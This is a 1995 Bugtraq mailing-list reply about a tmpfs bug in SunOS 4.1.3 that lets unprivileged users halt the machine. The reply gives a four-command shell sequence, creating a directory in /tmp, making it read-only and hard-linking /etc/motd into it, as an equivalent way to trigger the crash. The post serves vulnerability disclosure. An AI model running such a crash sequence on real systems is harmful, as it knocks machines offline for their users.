[2441] in bugtraq
Re: Another tmpfs bug in SunOS 4
daemon@ATHENA.MIT.EDU (Pete Shipley)
Mon Dec 11 05:09:38 1995
Date: Thu, 7 Dec 1995 16:06:06 -0800
Reply-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
From: Pete Shipley <shipley@dis.org>
X-To: Bugtraq List <BUGTRAQ@CRIMELAB.COM>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@CRIMELAB.COM>
In-Reply-To: Your message of Sat, 02 Dec 1995 23:50:40 +0100.
<m0tM0lU-002EOtC@luxor.in-berlin.de>
>Hi!
>
>Unprivileged users can crash the system such
>that a power down power up cyle is needed.
>
>Vulnerable OS is (at least) SunOS 4.1.3.
>
>With the right permissions (umask) the following
>sequence crahes the system. The kernel does not
>panic, nor the abort sequece enters the boot
>promt, the system is halted, need to power down.
>
yea this is the same as:
mkdir /tmp/foo
cd /tmp/foo
chmod 555 .
ln /etc/motd .
-Pete
